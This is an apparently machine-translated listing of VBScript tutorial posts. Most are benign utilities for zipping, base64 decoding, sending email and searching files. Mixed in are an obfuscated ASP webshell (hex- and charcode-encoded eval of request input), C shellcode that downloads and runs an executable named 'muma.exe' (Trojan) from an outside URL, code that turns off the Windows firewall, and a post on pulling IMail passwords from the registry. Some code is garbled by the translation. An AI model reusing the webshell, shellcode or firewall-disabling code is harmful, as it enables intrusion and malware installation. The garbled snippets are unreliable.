Category:VBS

  • Using VBS to realize the script of zip function

    Time:2020-12-1

    Compression:Function fZip(sSourceFolder,sTargetZIPFile)  ‘This function will add all of the files in a source folder to a ZIP file  ‘using Windows’ native folder ZIP capability.  Dim oShellApp, oFSO, iErr, sErrSource, sErrDescription  Set oShellApp = CreateObject(“Shell.Application”)  Set oFSO = CreateObject(“Scripting.FileSystemObject”)  ‘The source folder needs to have a \ on the End  If Right(sSourceFolder,1) <> “\” Then sSourceFolder = sSourceFolder & “\”  On Error Resume Next   ‘If a target ZIP exists already, delete it  If oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,True   iErr = Err.Number  sErrSource = Err.Source  sErrDescription = Err.Description  On Error GoTo 0  If iErr <> 0 Then     fZip = Array(iErr,sErrSource,sErrDescription)  Exit Function  End If  On Error Resume Next  ‘Write the fileheader for a blank zipfile.  oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write “PK” & Chr(5) & Chr(6) & String(18, Chr(0))  iErr = Err.Number  sErrSource = Err.Source  sErrDescription = Err.Description  On Error GoTo 0  If iErr <> 0 Then     fZip = Array(iErr,sErrSource,sErrDescription)  Exit Function  End If  On Error Resume Next   ‘Start copying files into the zip from the source folder.  oShellApp.NameSpace(sTargetZIPFile).CopyHere oShellApp.NameSpace(sSourceFolder).Items  iErr = Err.Number  sErrSource = Err.Source  sErrDescription = Err.Description  On Error GoTo 0  If iErr <> 0 Then     fZip = Array(iErr,sErrSource,sErrDescription)  Exit Function  End If  ‘Because the copying occurs in a separate process, the script will just continue. Run a DO…LOOP to prevent the function  ‘from exiting until the file is finished zipping.  Do Until oShellApp.NameSpace(sTargetZIPFile).Items.Count = oShellApp.NameSpace(sSourceFolder).Items.Count      WScript.Sleep If it doesn’t work, increase the number of secondsLoop  […]

  • Very good LCX write unconventional running VBS

    Time:2020-11-30

    This component can be used by default in XP and 2003. After calling, you can hear an old foreign man talking on the computer. It’s like this Code: ● create object(“ SAPI.SpVoice “). Speak” I love you “● save it as VBS suffix and double-click to hear English. I love you. But then we talk […]

  • Two scripts% 5C mob n years ago

    Time:2020-11-29

    Dim xStatus,tStatus,vServer,vHeader,vRsBody GETERROR = InputBox (“please enter the website, for example: http://www.hackerxfiles.com/files/list.asp?id=415 Please enter the web address http://www.hackerxfiles.com/files/list.asp?id=415 “”If GetError = “” Then Msgbox (“input error, end of program! “”WScript.Quit End If GetError=StrReverse(GetError) Tem2=0 For I=1 To Len(GetError) If Mid(GetError,I,1) = Chr(47) And Tem2=0 Then Temp=Temp & “c5%” Tem2=Tem2+1 Else Temp=Temp & Mid(GetError,I,1) End If Next GetError=StrReverse(Temp) Call xmlPost(GetError) ErrorText = vServer & ” ” & xStatus Baseaver = getstr (vrsbody, “file not found ‘”, “”. </font>” & Chr(10))If BaseSaver=”[None]” Then Baseaver = getstr (vrsbody), “< font […]

  • VBS fortune telling test: were you a man or a woman in your last life

    Time:2020-11-28

    Copy codeThe code is as follows: Dim MyValue, Response,data,thisd  data=”30007|22899|22934″  thisd=Split(data, “|”, -1, 1)  Initialize the random number generator.  Do Until Response = vbyes  A random number between in3 and mynd = 1.     result=”&#”&thisd(MyValue-1)     If result=”&#22934″ Then result=”&#20154&#22934″  Set objExplorer = WScript.CreateObject(“InternetExplorer.Application”)  objExplorer.Navigate “about:blank”   objExplorer.ToolBar = 0  objExplorer.StatusBar = 0  objExplorer.Visible = 1  objExplorer.height=300  objExplorer.width=400  objExplorer.left=400  objExplorer.resizable=0  objExplorer.Document.Body . innerHTML: “you were” & resultResponse = msgbox (“confirm?”, vbyesno)Loop  Save the above code as VBS suffix, double-click it. […]

  • VBS version of decryption base64 encryption script

    Time:2020-11-27

    Copy codeThe code is as follows: Function fDecode(sStringToDecode)  ‘This function will decode a Base64 encoded string and returns the decoded string.  ‘This becomes usefull when attempting to hide passwords from prying eyes.  Const CharList = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”  Dim iDataLength, sOutputString, iGroupInitialCharacter  sStringToDecode = Replace(Replace(Replace(sStringToDecode, vbCrLf, “”), vbTab, “”), ” “, “”)  iDataLength = Len(sStringToDecode)  If iDataLength Mod 4 <> 0 Then  fDecode = “Bad string passed to fDecode() function.”  Exit Function  End If  For iGroupInitialCharacter = 1 To iDataLength Step 4  Dim iDataByteCount, iCharacterCounter, sCharacter, iData, iGroup, sPreliminaryOutString  iDataByteCount = 3  iGroup = 0     For iCharacterCounter = 0 To 3      sCharacter = Mid(sStringToDecode, iGroupInitialCharacter + iCharacterCounter, 1)       If sCharacter = “=” Then        iDataByteCount = iDataByteCount – 1        iData = 0       Else        iData = InStr(1, CharList, sCharacter, 0) – 1         If iData = -1 Then          fDecode = “Bad string passed to fDecode() function.”          Exit Function         End If       End If      iGroup = 64 * iGroup + iData     Next  iGroup = Hex(iGroup)  iGroup = String(6 – Len(iGroup), “0”) & iGroup  sPreliminaryOutString = Chr(CByte(“&H” & Mid(iGroup, 1, 2))) & Chr(CByte(“&H” & Mid(iGroup, 3, 2))) & Chr(CByte(“&H” & Mid(iGroup, 5, 2)))  sOutputString = sOutputString & Left(sPreliminaryOutString, iDataByteCount)  Next  fDecode = sOutputString  End Function VBS code package

  • ASP Trojan encryption (remove% of ASP)

    Time:2020-11-26

    I don’t know how to express it clearly. Take an example Copy codeThe code is as follows: <script language=vbs runat=server>   Execute(HextoStr(“65786563757465287265717565737428636872283335292929”))  Function HextoStr(data)  HextoStr=”EXECUTE “””””  C=”&CHR(&H”  N=”)”  Do While Len(data)>1  If IsNumeric(Left(data,1)) Then  HextoStr=HextoStr&C&Left(data,2)&N  data=Mid(data,3)  Else  HextoStr=HextoStr&C&Left(data,4)&N  data=Mid(data,5)  End If  Loop  End Function  </script>   <SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(String.fromCharCode(  116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1  04,40,101,41,123,125))</SCRIPt>  But after encryption is not a word, ha ha. This s terminal can be connected with Haiyang or […]

  • Sending email with attachment by vbs

    Time:2020-11-25

    function Send_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)  ‘code by NetPatch ‘VBS send mail parameter description‘You_ Account: your email account number‘You_ Password: your email password‘Send_ Email: primary email address‘Send_ Email 2: alternate email address‘Send_ Topic: email subject‘Send_ Body: message content‘Send_ Attachment: mail attachment You_ID=Split(You_Account, “@”, -1, vbTextCompare)  ‘the account and the server are separatedMS_Space = “http://schemas.microsoft.com/cdo/configuration/” ‘This is a must, but you can rest assured that you won’t send […]

  • Method analysis of VBScript developing automatic test script

    Time:2020-11-24

    I have been in the software testing industry for many years, and my direction is automatic testing. I also know about VBScript script in the process of testingAlso used some, so to talk about how to use VBScript to develop automated testing.First of all, several VBScript functions that can be used in automatic test development […]

  • IMail cipher encryption algorithm and VBS implementation

    Time:2020-11-23

    All iMail’s post office information, such as users and passwords, is actually stored in the computer registry, so you only need toOpen the registry to see all the information in iMail, including the user’s passwordDetails:IMail stores all enterprise post office information in:HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\<DOMAINNAME>\Users\<USERNAME> In such a key, domainname is the post office name, and the user […]

  • VBS searches the file name or gets the directory list

    Time:2020-11-22

    ‘a small program on the Internet has been changed to be a little more convenient. This search efficiency is very good. Copy codeThe code is as follows: on error resume next  Dim keyWord, DirTotal, TimeSpend, FileTotal, Fso, outFile, txtResult, txtPath, sPath   Const MY_COMPUTER = &H11&  Const WINDOW_HANDLE = 0  Const OPTIONS = 0  Set objShell = CreateObject(“Shell.Application”)  Set objFolder = objShell.Namespace(My_Computer)  Set objFolderItem = objFolder.Self  strPath = objFolderItem.Path  Set objFolder =  objShell.BrowseForFolder (WINDOW_ Handle, “select the folder you want to search for:” options, strpath)If objFolder Is Nothing Then  Msgbox “you have not selected […]

  • Judging script of system patch with vbs

    Time:2020-11-21

      Set objSession = CreateObject(“Microsoft.Update.Session”) Set objSearcher = objSession.CreateUpdateSearcher Set objResults = objSearcher.Search(“Type=’Software’”) Set colUpdates = objResults.Updates For i = 0 to colUpdates.Count – 1    ‘ If colUpdates.Item(i).Title = _        ‘ “Security Update for Windows XP (KB899587)” Then         ‘If colUpdates.Item(i).IsInstalled <> 0 Then             ‘Wscript.Echo “This update is installed.”            ‘ Wscript.Quit         ‘Else             ‘Wscript.Echo “This update is not installed.”           ‘ Wscript.Quit         ‘End If    ‘ End If    wscript.echo colUpdates.Item(i).Title Next ‘Wscript.Echo “This update is not installed.” How to turn off the Windows XP Service Pack 2 firewall? Set objFirewall = CreateObject(“HNetCfg.FwMgr”)Set objPolicy = objFirewall.LocalPolicy.CurrentProfile objPolicy.FirewallEnabled = FALSESet objFirewall = CreateObject(“HNetCfg.FwMgr”)Set objPolicy = objFirewall.LocalPolicy.CurrentProfile objPolicy.FirewallEnabled = FALSE

  • Fix VBS ActiveX exploit

    Time:2020-11-20

    C + + code Copy codeThe code is as follows: #include <stdio.h>      #include <string.h>      unsigned char shellcode[] =      “\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03”     “\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74”     “\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E”     “\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03”     “\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C”     “\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40”     “\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C”     “\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC”     “\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F”     “\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB”     “\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83”     “\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF”     “\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF”     “http://fenggou.net/muma.exe”;      int main()      {      Void (* code); / / convert shellcode to a function pointer with null parameter, and call* (int *) & code = shellcode;      code();      }  VBS code Copy codeThe code is as follows: […]